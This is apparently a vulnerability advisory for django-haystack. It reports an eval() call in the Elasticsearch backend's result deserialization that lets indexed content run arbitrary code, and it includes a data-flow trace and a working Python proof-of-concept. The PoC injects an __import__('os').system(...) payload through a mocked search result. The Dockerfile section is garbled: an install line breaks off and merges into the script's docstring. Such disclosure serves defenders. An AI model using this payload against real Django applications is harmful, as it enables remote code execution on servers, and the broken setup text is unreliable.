django-haystack: Remote Code Execution via `eval()` in Elasticsearch Result Deserialization
Remote Code Execution via eval() in Elasticsearch Result Deserialization
Summary
The Elasticsearch backend in django-haystack calls eval() on raw field values returned from Elasticsearch when a SearchField is declared with an index_fieldname alias that differs from the logical field name. During result processing, the backend looks up fields by logical name but Elasticsearch stores them under the alias key; the lookup fails and the value falls through to _to_python() → eval(). An attacker who can control content that is indexed into Elasticsearch—and can trigger or wait for a search that returns it—achieves arbitrary code execution in the Django application process. CVSS 3.1 Base Score: 8.5 (High).
Details
Sink — haystack/backends/elasticsearch_backend.py:865:
converted_value = eval(value)
_to_python() (line ~850) attempts to parse a string value by calling eval() before performing any type-safety check. If the value is an attacker-controlled Python expression such as __import__('os').system(...), the expression is executed unconditionally.
Root cause — haystack/backends/elasticsearch_backend.py:727–737:
for key, value in source.items():
string_key = str(key)
if string_key in index.fields and hasattr(index.fields[string_key], "convert"):
additional_fields[string_key] = index.fields[string_key].convert(value)
else:
additional_fields[string_key] = self._to_python(value)
index.fields is keyed by the logical field name (e.g. "name"), but Elasticsearch stores the document under the index_fieldname alias (e.g. "name_s"). Because "name_s" not in index.fields, the branch falls through to self._to_python(value).
Data flow (source → sink):
haystack/indexes.py:226—self.prepared_data[field.index_fieldname] = field.prepare(obj)stores data under the alias.haystack/backends/elasticsearch_backend.py:218— prepared data copied intofinal_data.haystack/backends/elasticsearch_backend.py:236—bulk(...)writes the document to Elasticsearch under the alias key.haystack/backends/elasticsearch_backend.py:574— search reads attacker-influenced_sourceback from Elasticsearch.haystack/backends/elasticsearch_backend.py:720—_process_results()takesraw_result["_source"].haystack/backends/elasticsearch_backend.py:730— lookupstring_key in index.fieldsfails for alias keys.haystack/backends/elasticsearch_backend.py:737— unmatched value passed to_to_python(value).haystack/backends/elasticsearch_backend.py:865— sink:converted_value = eval(value).
Missing fix: The Solr backend correctly remaps aliases at haystack/backends/solr_backend.py:535–539 using index.field_map before performing the index.fields lookup. The Elasticsearch backend has no equivalent remapping.
Preconditions:
- The application uses the Elasticsearch backend.
- At least one
SearchFieldin aSearchIndexis declared withindex_fieldnameset to a value different from the logical attribute name. - The attacker can write content that is indexed (e.g. via a form, API, or any user-controlled field included in the index).
- The attacker can trigger or wait for a search that returns the malicious document.
PoC
Environment setup (Docker):
# Build the proof-of-concept image
docker build -t vuln001-poc \
-f /path/to/vuln-001/Dockerfile \
/path/to/reports/pypiAi_436_django-haystack__django-haystack/
# Run the PoC — exits 0 on confirmed RCE
docker run --rm vuln001-poc
Dockerfile (vuln-001/Dockerfile):
FROM python:3.11-slim
WORKDIR /app
RUN pip install --no-cache-dir setuptools setuptools_scm wheel
COPY repo/ /app/repo/
RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5,=4.2" "elasticsearch>=5, eval().
Attack path:
1. Attacker controls content that is indexed into Elasticsearch.
2. The Django app has a SearchIndex field with index_fieldname alias.
3. ES stores the document under the alias key.
4. On search, _process_results reads _source where the alias key is NOT
found in index.fields (which uses logical names).
5. The value routes to _to_python(value) -> eval(value) -> RCE.
This PoC bypasses the need for a live Elasticsearch instance by directly
calling _process_results() with a crafted raw result dict.
"""
import os
import sys
# ---------------------------------------------------------------------------
# 1. Configure Django (no database required)
# ---------------------------------------------------------------------------
from django.conf import settings
if not settings.configured:
settings.configure(
SECRET_KEY="poc-only-not-for-production",
INSTALLED_APPS=[
"django.contrib.contenttypes",
"django.contrib.auth",
"haystack",
],
HAYSTACK_CONNECTIONS={
"default": {
"ENGINE": "haystack.backends.elasticsearch_backend.ElasticsearchSearchEngine",
"URL": "http://127.0.0.1:9200/",
"INDEX_NAME": "poc_index",
}
},
DATABASES={},
)
import haystack
import haystack.backends.elasticsearch_backend as esb
# ---------------------------------------------------------------------------
# 2. Mock objects to simulate the Haystack/ES environment
# ---------------------------------------------------------------------------
class MockField:
"""
Simulates a SearchField declared with an index_fieldname alias.
Logical field name: "name"
ES storage key (index_fieldname): "name_s"
"""
index_fieldname = "name_s"
def convert(self, value):
return str(value)
class MockIndex:
"""
Simulates a SearchIndex.
fields: keyed by LOGICAL name ("name")
field_map: alias -> logical name (Solr uses this; ES backend does NOT)
"""
fields = {
"name": MockField(),
}
field_map = {"name_s": "name"}
class MockUnifiedIndex:
document_field = "text"
def get_indexed_models(self):
return [object]
def get_index(self, model):
return MockIndex()
class MockConnection:
def get_unified_index(self):
return MockUnifiedIndex()
# Patch the global haystack connections registry so _process_results can
# look up the unified index without a real Elasticsearch connection.
haystack.connections = {"default": MockConnection()}
# Patch the model-lookup helper used inside _process_results.
# Returns `object` so the model is found and the result is processed.
esb.haystack_get_model = lambda app_label, model_name: object
# ---------------------------------------------------------------------------
# 3. Build the malicious payload
# ---------------------------------------------------------------------------
MARKER_FILE = "/tmp/django_haystack_eval_rce_proof"
# os.system() returns the exit code (int). The isinstance(int) check in
# _to_python() passes, so eval() completes without raising, confirming
# full expression execution. The shell command writes the proof file.
payload = (
f"__import__('os').system("
f"'echo PWNED_BY_EVAL_RCE > {MARKER_FILE}')"
)
# Crafted Elasticsearch raw response:
# "name_s" is the index_fieldname alias stored in ES.
# "name" is the logical field name present in index.fields.
# Because "name_s" != "name", the lookup fails and value goes to eval().
raw_results = {
"hits": {
"total": 1,
"hits": [
{
"_score": 1.0,
"_source": {
"django_ct": "app.model", # required sentinel field
"django_id": "1", # required sentinel field
"name_s": payload, # alias key -> eval() path
},
}
],
}
}
# ---------------------------------------------------------------------------
# 4. Instantiate the backend without __init__ (no live ES connection needed)
# ---------------------------------------------------------------------------
backend = esb.ElasticsearchSearchBackend.__new__(esb.ElasticsearchSearchBackend)
backend.connection_alias = "default"
backend.include_spelling = False
# ---------------------------------------------------------------------------
# 5. Trigger the vulnerability
# ---------------------------------------------------------------------------
print("=" * 60)
print("VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend")
print("=" * 60)
print(f"[*] Payload : {payload}")
print(f"[*] Marker : {MARKER_FILE}")
print(f"[*] Sink : elasticsearch_backend.py:865 eval(value)")
print()
# Remove any leftover marker from a previous run
if os.path.exists(MARKER_FILE):
os.remove(MARKER_FILE)
try:
backend._process_results(raw_results)
except Exception as exc:
# An exception here does not mean eval() was not called;
# the side effect (file write) is the ground truth.
print(f"[!] _process_results raised (checking side effects anyway): {exc}")
# ---------------------------------------------------------------------------
# 6. Verify the side effect
# ---------------------------------------------------------------------------
print()
if os.path.exists(MARKER_FILE):
content = open(MARKER_FILE).read().strip()
print("[+] SUCCESS: RCE CONFIRMED")
print(f"[+] Marker file created: {MARKER_FILE}")
print(f"[+] File content: {content}")
print()
print("RESULT: PASS - VULN-001 is dynamically reproduced and exploitable")
sys.exit(0)
else:
print("[-] FAILURE: Marker file was not created")
print("[-] eval() was not triggered or the payload did not execute")
print()
print("RESULT: FAIL - RCE could not be confirmed")
sys.exit(1)